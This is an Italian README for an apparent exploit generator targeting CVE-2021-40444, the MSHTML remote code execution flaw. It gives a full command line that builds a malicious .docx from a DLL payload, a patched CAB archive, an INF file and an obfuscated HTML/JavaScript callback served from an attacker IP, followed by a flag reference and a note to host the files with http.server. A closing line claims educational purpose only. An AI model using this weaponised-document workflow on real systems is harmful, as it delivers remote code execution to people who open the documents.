
Generatore di exploit basato su Python per CVE-2021-40444 (RCE in MSHTML) con consegna del payload guidata da template tramite documenti Office dannosi, archivi CAB e callback HTML/JS offuscati.
Assicurati di eseguire prima setup.sh poiché ti serviranno alcune directory. Una volta eseguito lo script, dovresti essere in grado di eseguire gen.py con l'esempio fornito:-
# Usage
python3 gen.py -d document/Sample.docx -p payload/payload.dll -i "http://10.10.10.10" -t html/template.html -c payload.cab -f nothing.inf -r Sample2.docx -obf 3
# Flag
-d -> Our .docx file that already been modified with Bitmap Object whether in header, document or footer
-i -> IP Address
-p -> Payload (.dll)
-t -> HTML File with Javascript
-r -> Rename the output of modified .docx
-c -> Rename the output of patched .cab
-f -> Rename the output of .inf
-obf -> Extra : Comes with 3 mode (HTML Entity, UTF-16BE or Both)
-v -> Increase output verbosity
http.server sarà nella directory . Questa directory
conterrà 3 file:-web

Questo repository ha solo scopo educativo e non è destinato a essere utilizzato in ambienti reali con cattive intenzioni. Qualsiasi uso illegale di questo repository è strettamente a tuo rischio e responsabilità.